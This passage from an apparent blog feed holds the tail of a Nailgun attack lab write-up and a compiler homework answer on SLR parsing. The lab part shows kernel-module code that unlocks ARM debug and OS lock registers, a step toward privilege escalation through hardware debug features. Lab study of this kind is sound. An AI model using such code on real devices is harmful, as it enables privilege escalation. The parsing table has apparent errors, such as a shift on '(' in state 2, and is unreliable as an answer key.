registers\n&quot;</span>);</span><br><span class="line">    iowrite32(<span class="number">0xC5ACCE55</span>, param-&gt;debug_register + EDLAR_OFFSET);</span><br><span class="line">    iowrite32(<span class="number">0xC5ACCE55</span>, param-&gt;cti_register + EDLAR_OFFSET);</span><br><span class="line">    printk(KERN_INFO<span class="string">&quot;Step 1(Add): Lock OS registers\n&quot;</span>);</span><br><span class="line">    iowrite32(<span class="number">0xC5ACCE55</span>, param-&gt;debug_register + OSLAR_OFFSET);</span><br><span class="line">    iowrite32(<span class="number">0xC5ACCE55</span>, param-&gt;cti_register + OSLAR_OFFSET);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>unlock the OS Lock <strong>by executing the code directly on core0.</strong></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">static</span> <span class="type">void</span> <span class="title function_">unlock_debug</span><span class="params">(<span class="type">void</span>* _)</span> &#123;</span><br><span class="line"><span class="comment">// Unlock self debug registers</span></span><br><span class="line">printk(KERN_INFO <span class="string">&quot;Step 1(Add): unlock the OS Lock not using MAP\n&quot;</span>);</span><br><span class="line"><span class="type">uint32_t</span> reg = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">asm</span> <span class="title function_">volatile</span><span class="params">(<span class="string">&quot;mcr p14, 0, %0, c1, c0, 4&quot;</span>:<span class="string">&quot;=r&quot;</span>(reg))</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Change <code>nailgun_init</code> <strong>as follows:</strong></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">smp_call_function_single(<span class="number">1</span>,read_scr1,param,<span class="number">1</span>);</span><br><span class="line">smp_call_function_single(<span class="number">0</span>, unlock_debug, param, <span class="number">1</span>);</span><br><span class="line">smp_call_function_single(<span class="number">1</span>,read_scr,param,<span class="number">1</span>);</span><br></pre></td></tr></table></figure><p>Therefore, we can unlock the OS Lock in this lab except memorymapping</p><p><img src="/2025/11/Nailgun-Attack-Lab-Analysis/q2_2.png" /></p>]]></content>
    
    
    <summary type="html">&lt;h5 id=&quot;task-1-create-and-install-a-kernel-module&quot;&gt;Task 1: Create and
Install a Kernel Module&lt;/h5&gt;
&lt;p&gt;simple_module.c&lt;/p&gt;
&lt;figure class=&quot;highlight c&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;17&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;18&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;19&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;20&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;21&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;comment&quot;&gt;/* simple_module.c */&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;meta&quot;&gt;#&lt;span class=&quot;keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;string&quot;&gt;&amp;lt;linux/module.h&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;meta&quot;&gt;#&lt;span class=&quot;keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;string&quot;&gt;&amp;lt;linux/kernel.h&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;meta&quot;&gt;#&lt;span class=&quot;keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;string&quot;&gt;&amp;lt;linux/init.h&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;meta&quot;&gt;#&lt;span class=&quot;keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;string&quot;&gt;&amp;lt;asm/io.h&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;type&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;type&quot;&gt;int&lt;/span&gt; __init &lt;span class=&quot;title function_&quot;&gt;simple_module_init&lt;/span&gt;&lt;span class=&quot;params&quot;&gt;(&lt;span class=&quot;type&quot;&gt;void&lt;/span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;        printk(&lt;span class=&quot;string&quot;&gt;&amp;quot;Helloworld.&#92;n&amp;quot;&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;        &lt;span class=&quot;keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;number&quot;&gt;0&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;comment&quot;&gt;/*&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;comment&quot;&gt; *The cleanup function of the module.&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;comment&quot;&gt; */&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;type&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;type&quot;&gt;void&lt;/span&gt; __exit &lt;span class=&quot;title function_&quot;&gt;simple_module_exit&lt;/span&gt;&lt;span class=&quot;params&quot;&gt;(&lt;span class=&quot;type&quot;&gt;void&lt;/span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;        printk(KERN_INFO&lt;span class=&quot;string&quot;&gt;&amp;quot;Exit.&#92;n&amp;quot;&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;module_init(simple_module_init);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;module_exit(simple_module_exit);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;</summary>
    
    
    
    <category term="Computer Science" scheme="https://blog.qirenova.com/categories/Computer-Science/"/>
    
    
    <category term="Security" scheme="https://blog.qirenova.com/tags/Security/"/>
    
    <category term="Linux" scheme="https://blog.qirenova.com/tags/Linux/"/>
    
    <category term="Attack" scheme="https://blog.qirenova.com/tags/Attack/"/>
    
    <category term="ARM" scheme="https://blog.qirenova.com/tags/ARM/"/>
    
  </entry>
  
  <entry>
    <title>CS323 Written Assignment 4 - SLR, CLR, and LALR Parsing</title>
    <link href="https://blog.qirenova.com/2025/11/CS323-Assignment-4/"/>
    <id>https://blog.qirenova.com/2025/11/CS323-Assignment-4/</id>
    <published>2025-11-26T04:00:00.000Z</published>
    <updated>2026-01-27T04:08:44.774Z</updated>
    
    <content type="html"><![CDATA[<p><strong>Exercise 1:</strong> Consider the following grammar G, whichyou have seen in the previous assignment:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">E -&gt; TX</span><br><span class="line">X -&gt; +E | ε</span><br><span class="line">T -&gt; FY</span><br><span class="line">Y -&gt; T | ε</span><br><span class="line">F -&gt; PZ</span><br><span class="line">Z -&gt; *Z | ε</span><br><span class="line">P -&gt; (E) | a | b</span><br></pre></td></tr></table></figure><p><strong>1. </strong>Please construct the SLR parsing table for G. Isthe grammar SLR(1)?</p><table><colgroup><col style="width: 24%" /><col style="width: 37%" /><col style="width: 37%" /></colgroup><thead><tr class="header"><th style="text-align: center;"><strong>(Non-Terminal)</strong></th><th style="text-align: center;"><strong>FIRST Set</strong></th><th style="text-align: center;"><strong>FOLLOW Set</strong></th></tr></thead><tbody><tr class="odd"><td style="text-align: center;"><strong>E</strong></td><td style="text-align: center;"><spanclass="math inline">{(,<em>a</em>, <em>b</em>}</span></td><td style="text-align: center;"><spanclass="math inline">{$, )}</span></td></tr><tr class="even"><td style="text-align: center;"><strong>T</strong></td><td style="text-align: center;"><spanclass="math inline">{(,<em>a</em>, <em>b</em>}</span></td><td style="text-align: center;"><spanclass="math inline">{$, ),  + }</span></td></tr><tr class="odd"><td style="text-align: center;"><strong>X</strong></td><td style="text-align: center;"><spanclass="math inline">{<em>ε</em>,  + }</span></td><td style="text-align: center;"><spanclass="math inline">{$, )}</span></td></tr><tr class="even"><td style="text-align: center;"><strong>F</strong></td><td style="text-align: center;"><spanclass="math inline">{(,<em>a</em>, <em>b</em>}</span></td><td style="text-align: center;"><spanclass="math inline">{$, (,), +,<em>a</em>, <em>b</em>}</span></td></tr><tr class="odd"><td style="text-align: center;"><strong>Y</strong></td><td style="text-align: center;"><spanclass="math inline">{<em>ε</em>, (,<em>a</em>, <em>b</em>}</span></td><td style="text-align: center;"><spanclass="math inline">{$, ),  + }</span></td></tr><tr class="even"><td style="text-align: center;"><strong>P</strong></td><td style="text-align: center;"><spanclass="math inline">{(,<em>a</em>, <em>b</em>}</span></td><td style="text-align: center;"><spanclass="math inline">{$, (,), *,+,<em>a</em>, <em>b</em>}</span></td></tr><tr class="odd"><td style="text-align: center;"><strong>Z</strong></td><td style="text-align: center;"><spanclass="math inline">{<em>ε</em>,  * }</span></td><td style="text-align: center;"><spanclass="math inline">{$, (,), +,<em>a</em>, <em>b</em>}</span></td></tr></tbody></table><span id="more"></span><p><span class="math display">$$\begin{aligned}(1) &amp; \quad E \to TX \\(2) &amp; \quad X \to +E \\(3) &amp; \quad X \to \varepsilon \\(4) &amp; \quad T \to FY \\(5) &amp; \quad Y \to T \\(6) &amp; \quad Y \to \varepsilon \\(7) &amp; \quad F \to PZ \\(8) &amp; \quad Z \to *Z \\(9) &amp; \quad Z \to \varepsilon \\(10) &amp; \quad P \to (E) \\(11) &amp; \quad P \to a \\(12) &amp; \quad P \to b\end{aligned}$$</span></p><p>Augmented grammar: Introduce a new symbol E’ and add a new production<code>E' -&gt; E</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br></pre></td><td class="code"><pre><span class="line">I0 = closure(&#123;[E&#x27;-&gt;•E]&#125;)</span><br><span class="line">   = &#123;[E&#x27;-&gt;•E], [E-&gt;•TX], [T-&gt;•FY], [F-&gt;•PZ], [P-&gt;•(E)], [P-&gt;•a], [P-&gt;•b]&#125;</span><br><span class="line">I1 = closure(GOTO(I0, E))</span><br><span class="line">   = closure(&#123;[E&#x27;-&gt;E•]&#125;)</span><br><span class="line">   = &#123;[E&#x27;-&gt;E•]&#125;</span><br><span class="line">I2 = closure(GOTO(I0, T))</span><br><span class="line">   = closure(&#123;[E-&gt;T•X]&#125;)</span><br><span class="line">   = &#123;[E-&gt;T•X], [X-&gt;•+E], [X-&gt;•]&#125;</span><br><span class="line">I3 = closure(GOTO(I0, F))</span><br><span class="line">   = closure(&#123;[T-&gt;F•Y]&#125;)</span><br><span class="line">   = &#123;[T-&gt;F•Y], [Y-&gt;•T], [Y-&gt;•], [T-&gt;•FY], [F-&gt;•PZ], [P-&gt;•(E)], [P-&gt;•a], [P-&gt;•b]&#125;</span><br><span class="line">I4 = closure(GOTO(I0, P))</span><br><span class="line">   = closure(&#123;[F-&gt;P•Z]&#125;)</span><br><span class="line">   = &#123;[F-&gt;P•Z], [Z-&gt;•*Z], [Z-&gt;•]&#125;</span><br><span class="line">I5 = closure(GOTO(I0, ( ))</span><br><span class="line">   = closure(&#123;[P-&gt;(•E)]&#125;)</span><br><span class="line">   = &#123;[P-&gt;(•E)], [E-&gt;•TX], [T-&gt;•FY], [F-&gt;•PZ], [P-&gt;•(E)], [P-&gt;•a], [P-&gt;•b]&#125;</span><br><span class="line">I6 = closure(GOTO(I0, a))</span><br><span class="line">   = closure(&#123;[P-&gt;a•]&#125;)</span><br><span class="line">   = &#123;[P-&gt;a•]&#125;</span><br><span class="line">I7 = closure(GOTO(I0, b))</span><br><span class="line">   = closure(&#123;[P-&gt;b•]&#125;)</span><br><span class="line">   = &#123;[P-&gt;b•]&#125;</span><br><span class="line">I8 = closure(GOTO(I2, X))</span><br><span class="line">   = closure(&#123;[E-&gt;TX•]&#125;)</span><br><span class="line">   = &#123;[E-&gt;TX•]&#125;</span><br><span class="line">I9 = closure(GOTO(I2, +))</span><br><span class="line">   = closure(&#123;[X-&gt;+•E]&#125;)</span><br><span class="line">   = &#123;[X-&gt;+•E], [E-&gt;•TX], [T-&gt;•FY], [F-&gt;•PZ], [P-&gt;•(E)], [P-&gt;•a], [P-&gt;•b]&#125;</span><br><span class="line">I10 = closure(GOTO(I3, Y))</span><br><span class="line">    = closure(&#123;[T-&gt;FY•]&#125;)</span><br><span class="line">    = &#123;[T-&gt;FY•]&#125;</span><br><span class="line">I11 = closure(GOTO(I3,T))</span><br><span class="line">    = closure(&#123;[Y-&gt;T•]&#125;)</span><br><span class="line">    = &#123;[Y-&gt;T•]&#125;</span><br><span class="line">I3 = closure(GOTO(I3, F))</span><br><span class="line">   = closure(&#123;T-&gt;F•Y&#125;)</span><br><span class="line">I4 = closure(GOTO(I3, P))</span><br><span class="line">   = closure(&#123;[F-&gt;P•Z]&#125;)</span><br><span class="line">I5 = closure(GOTO(I3, ( ))</span><br><span class="line">   = closure(&#123;[P-&gt;(•E)]&#125;)</span><br><span class="line">I6 = closure(GOTO(I3, a))</span><br><span class="line">I7 = closure(GOTO(I3, b))</span><br><span class="line">I12 = closure(GOTO(I4, Z))</span><br><span class="line">    = closure(&#123;[F-&gt;PZ•]&#125;)</span><br><span class="line">    = &#123;[F-&gt;PZ•]&#125;</span><br><span class="line">I13 = closure(GOTO(I4, *))</span><br><span class="line">    = closure(&#123;Z-&gt;*•Z&#125;)</span><br><span class="line">    = &#123;[Z-&gt;*•Z], [Z-&gt;•*Z], [Z-&gt;•]&#125;</span><br><span class="line">I14 = closure(GOTO(I5, E))</span><br><span class="line">    = closure(&#123;[P-&gt;(E•)]&#125;)</span><br><span class="line">    = &#123;[P-&gt;(E•)]&#125;</span><br><span class="line">I2 = closure(GOTO(I5, T))</span><br><span class="line">I3 = closure(GOTO(I5, F))</span><br><span class="line">I4 = closure(GOTO(I5, P))</span><br><span class="line">I5 = closure(GOTO(I5, ( )</span><br><span class="line">I6 = closure(GOTO(I5, a))</span><br><span class="line">I7 = closure(GOTO(I5, b))</span><br><span class="line">I15 = closure(GOTO(I9, E))</span><br><span class="line">    = closure(&#123;[X-&gt;+E•]&#125;)</span><br><span class="line">    = &#123;[X-&gt;+E•]&#125;</span><br><span class="line">I2 = closure(GOTO(I9, T))</span><br><span class="line">I3 = closure(GOTO(I9, F))</span><br><span class="line">I4 = closure(GOTO(I9, P))</span><br><span class="line">I5 = closure(GOTO(I9, ( )</span><br><span class="line">I6 = closure(GOTO(I9, a))</span><br><span class="line">I7 = closure(GOTO(I9, b))</span><br><span class="line">I16 = closure(GOTO(I13, Z))</span><br><span class="line">    = closure(&#123;[Z-&gt;*Z•]&#125;)</span><br><span class="line">= &#123;[Z-&gt;*Z•]&#125;</span><br><span class="line">I13 = closure(GOTO(I13, *))</span><br><span class="line">I17 = closure(GOTO(I14, ) ))</span><br><span class="line">= &#123;[P-&gt;(E)•]&#125;</span><br></pre></td></tr></table></figure><p><img src="/2025/11/CS323-Assignment-4/t1.svg" /></p><p>The SLR parsing table</p><table><tr><td rowspan="2" align="center">State</td><td colspan="7" align="center">ACTION</td><td colspan="7" align="center">GOTO</td></tr><tr><td>a</td><td>b</td><td>+</td><td>*</td><td>(</td><td>)</td><td>$</td><td>E</td><td>T</td><td>X</td><td>F</td><td>Y</td><td>P</td><td>Z</td></tr><tr><td align="center">0</td><td>s6</td><td>s7</td><td></td><td></td><td>s5</td><td></td><td></td><td>1</td><td>2</td><td></td><td>3</td><td></td><td>4</td><td></td></tr><tr><td align="center">1</td><td></td><td></td><td></td><td></td><td></td><td></td><td>acc</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr><tr><td align="center">2</td><td></td><td></td><td>s9</td><td></td><td>s5</td><td>r3</td><td>r3</td><td></td><td></td><td>8</td><td></td><td></td><td></td><td></td></tr><tr><td align="center">3</td><td>s6</td><td>s7</td><td>r6</td><td></td><td></td><td>r6</td><td>r6</td><td></td><td>11</td><td></td><td>3</td><td>10</td><td>4</td><td></td></tr><tr><td align="center">4</td><td>r9</td><td>r9</td><td>r9</td><td>s13</td><td>r9</td><td>r9</td><td>r9</td><td></td><td></td><td></td><td></td><td></td><td></td><td>12</td></tr><tr><td align="center">5</td><td>s6</td><td>s7</td><td></td><td></td><td>s5</td><td></td><td></td><td>14</td><td>2</td><td></td><td>3</td><td></td><td>4</td><td></td></tr><tr><td align="center">6</td><td>r11</td><td>r11</td><td>r11</td><td>r11</td><td>r11</td><td>r11</td><td>r11</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr><tr><td align="center">7</td><td>r12</td><td>r12</td><td>r12</td><td>r12</td><td>r12</td><td>r12</td><td>r12</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr><tr><td align="center">8</td><td></td><td></td><td></td><td></td><td></td><td>r1</td><td>r1</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr><tr><td align="center">9</td><td>s6</td><td>s7</td><td></td><td></td><td>s5</td><td></td><td></td><td>15</td><td>2</td><td></td><td>3</td><td></td><td>4</td><td></td></tr><tr><td align="center">10</td><td></td><td></td><td>r4</td><td></td><td></td><td>r4</td><td>r4</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr><tr><td align="center">11</td><td></td><td></td><td>r5</td><td></td><td></td><td>r5</td><td>r5</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr><tr><td align="center">12</td><td>r7</td><td>r7</td><td>r7</td><td></td><td>r7</td><td>r7</td><td>r7</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr><tr><td align="center">13</td><td>r9</td><td>r9</td><td>r9</td><td>s13</td><td>r9</td><td>r9</td><td>r9</td><td></td><td></td><td></td><td></td><td></td><td></td><td>16</td></tr><tr><td align="center">14</td><td></td><td></td><td></td><td></td><td></td><td>s17</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr><tr><td align="center">15</td><td></td><td></td><td></td><td></td><td></td><td>r2</td><td>r2</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr><tr><td align="center">16</td><td>r8</td><td>r8</td><td>r8</td><td></td><td>r8</td><td>r8</td><td>r8</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr><tr><td align="center">17</td><td>r10</td><td>r10</td><td>r10</td><td>r10</td><td>r10</td><td>r10</td><td>r10</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr></table><p>The grammar is SLR(1), because there are no conflict during theparsing table construction.</p><p><strong>2.</strong> Give the parsing steps for the input string(a∗+b)+b. If there are conflicts in the parsing table, please addressthem reasonably.</p><table><thead><tr class="header"><th style="text-align: center;">LINE</th><th style="text-align: center;">STACK</th><th style="text-align: center;">SYMBOLS</th><th style="text-align: center;">INPUT</th><th style="text-align: center;">ACTION</th></tr></thead><tbody><tr class="odd"><td style="text-align: center;">(1)</td><td style="text-align: center;">0</td><td style="text-align: center;">$</td><td style="text-align: center;">(a*+b)+b$</td><td style="text-align: center;">shift to 5</td></tr><tr class="even"><td style="text-align: center;">(2)</td><td style="text-align: center;">0 5</td><td style="text-align: center;">$ (</td><td style="text-align: center;">a*+b)+b$</td><td style="text-align: center;">shift to 6</td></tr><tr class="odd"><td style="text-align: center;">(3)</td><td style="text-align: center;">0 5 6</td><td style="text-align: center;">$ ( a</td><td style="text-align: center;">*+b)+b$</td><td style="text-align: center;">reduce by P-&gt;a</td></tr><tr class="even"><td style="text-align: center;">(4)</td><td style="text-align: center;">0 5 4</td><td style="text-align: center;">$ ( P</td><td style="text-align: center;">*+b)+b$</td><td style="text-align: center;">shift to 13</td></tr><tr class="odd"><td style="text-align: center;">(5)</td><td style="text-align: center;">0 5 4 13</td><td style="text-align: center;">$ ( P *</td><td style="text-align: center;">+b)+b$</td><td style="text-align: center;">reduce by Z-&gt;ε</td></tr><tr class="even"><td style="text-align: center;">(6)</td><td style="text-align: center;">0 5 4 13 16</td><td style="text-align: center;">$ ( P * Z</td><td style="text-align: center;">+b)+b$</td><td style="text-align: center;">reduce by Z-&gt;*Z</td></tr><tr class="odd"><td style="text-align: center;">(7)</td><td style="text-align: center;">0 5 4 12</td><td style="text-align: center;">$ ( P Z</td><td style="text-align: center;">+b)+b$</td><td style="text-align: center;">reduce by F-&gt;PZ</td></tr><tr class="even"><td style="text-align: center;">(8)</td><td style="text-align: center;">0 5 3</td><td style="text-align: center;">$ ( F</td><td style="text-align: center;">+b)+b$</td><td style="text-align: center;">reduce by Y-&gt;ε</td></tr><tr class="odd"><td style="text-align: center;">(9)</td><td style="text-align: center;">0 5 3 10</td><td style="text-align: center;">$ ( F Y</td><td style="text-align: center;">+b)+b$</td><td style="text-align: center;">reduce by T-&gt;FY</td></tr><tr class="even"><td style="text-align: center;">(10)</td><td style="text-align: center;">0 5 2</td><td style="text-align: center;">$ ( T</td><td style="text-align: center;">+b)+b$</td><td style="text-align: center;">shift to 9</td></tr><tr class="odd"><td style="text-align: center;">(11)</td><td style="text-align: center;">0 5 2 9</td><td style="text-align: center;">$ ( T +</td><td style="text-align: center;">b)+b$</td><td style="text-align: center;">shift to 7</td></tr><tr class="even"><td style="text-align: center;">(12)</td><td style="text-align: center;">0 5 2 9 7</td><td style="text-align: center;">$ ( T + b</td><td style="text-align: center;">)+b$</td><td style="text-align: center;">reduce by P-&gt;b</td></tr><tr class="odd"><td style="text-align: center;">(13)</td><td style="text-align: center;">0 5 2 9 4</td><td style="text-align: center;">$ ( T + P</td><td style="text-align: center;">)+b$</td><td style="text-align: center;">reduce by Z-&gt;ε</td></tr><tr class="even"><td style="text-align: center;">(14)</td><td style="text-align: center;">0 5 2 9 4 12</td><td style="text-align: center;">$ ( T + PZ</td><td style="text-align: center;">)+b$</td><td style="text-align: center;">reduce by F-&gt;PZ</td></tr><tr class="odd"><td style="text-align: center;">(15)</td><td style="text-align: center;">0 5 2 9 3</td><td style="text-align: center;">$ ( T + F</td><td style="text-align: center;">)+b$</td><td style="text-align: center;">reduce by Y-&gt;ε</td></tr><tr class="even"><td style="text-align: center;">(16)</td><td style="text-align: center;">0 5 2 9 3 10</td><td style="text-align: center;">$ ( T + FY</td><td style="text-align: center;">)+b$</td><td style="text-align: center;">reduce by T-&gt;FY</td></tr><tr class="odd"><td style="text-align: center;">(17)</td><td style="text-align: center;">0 5 2 9 2</td><td style="text-align: center;">$ ( T + T</td><td style="text-align: center;">)+b$</td><td style="text-align: center;">reduce by X-&gt;ε</td></tr><tr class="even"><td style="text-align: center;">(18)</td><td style="text-align: center;">0 5 2 9 2 8</td><td style="text-align: center;">$ ( T + TX</td><td style="text-align: center;">)+b$</td><td style="text-align: center;">reduce by E-&gt;TX</td></tr><tr class="odd"><td style="text-align: center;">(19)</td><td style="text-align: center;">0 5 2 9 15</td><td style="text-align: center;">$ ( T + E</td><td style="text-align: center;">)+b$</td><td style="text-align: center;">reduce by X-&gt;+E</td></tr><tr class="even"><td style="text-align: center;">(20)</td><td style="text-align: center;">0 5 2 8</td><td style="text-align: center;">$ ( T X</td><td style="text-align: center;">)+b$</td><td style="text-align: center;">reduce by E-&gt;TX</td></tr><tr class="odd"><td style="text-align: center;">(21)</td><td style="text-align: center;">0 5 14</td><td style="text-align: center;">$ ( E</td><td style="text-align: center;">)+b$</td><td style="text-align: center;">shift to 17</td></tr><tr class="even"><td style="text-align: center;">(22)</td><td style="text-align: center;">0 5 14 17</td><td style="text-align: center;">$ ( E )</td><td style="text-align: center;">+b$</td><td style="text-align: center;">reduce by P-&gt;(E)</td></tr><tr class="odd"><td style="text-align: center;">(23)</td><td style="text-align: center;">0 4</td><td style="text-align: center;">$ P</td><td style="text-align: center;">+b$</td><td style="text-align: center;">reduce by Z-&gt;ε</td></tr><tr class="even"><td style="text-align: center;">(24)</td><td style="text-align: center;">0 4 12</td><td style="text-align: center;">$ P Z</td><td style="text-align: center;">+b$</td><td style="text-align: center;">reduce by F-&gt;PZ</td></tr><tr class="odd"><td style="text-align: center;">(25)</td><td style="text-align: center;">0 3</td><td style="text-align: center;">$ F</td><td style="text-align: center;">+b$</td><td style="text-align: center;">reduce by Y-&gt;ε</td></tr><tr class="even"><td style="text-align: center;">(26)</td><td style="text-align: center;">0 3 10</td><td style="text-align: center;">$ FY</td><td style="text-align: center;">+b$</td><td style="text-align: center;">reduce by T-&gt;FY</td></tr><tr class="odd"><td style="text-align: center;">(27)</td><td style="text-align: center;">0 2</td><td style="text-align: center;">$ T</td><td style="text-align: center;">+b$</td><td style="text-align: center;">shift to 9</td></tr><tr class="even"><td style="text-align: center;">(28)</td><td style="text-align: center;">0 2 9</td><td style="text-align: center;">$ T +</td><td style="text-align: center;">b$</td><td style="text-align: center;">shift to 7</td></tr><tr class="odd"><td style="text-align: center;">(29)</td><td style="text-align: center;">0 2 9 7</td><td style="text-align: center;">$ T + b</td><td style="text-align: center;">$</td><td style="text-align: center;">reduce by P-&gt;b</td></tr><tr class="even"><td style="text-align: center;">(30)</td><td style="text-align: center;">0 2 9 4</td><td style="text-align: center;">$ T + P</td><td style="text-align: center;">$</td><td style="text-align: center;">reduce by Z-&gt;ε</td></tr><tr class="odd"><td style="text-align: center;">(31)</td><td style="text-align: center;">0 2 9 4 12</td><td style="text-align: center;">$ T + PZ</td><td style="text-align: center;">$</td><td style="text-align: center;">reduce by F-&gt;PZ</td></tr><tr class="even"><td style="text-align: center;">(32)</td><td style="text-align: center;">0 2 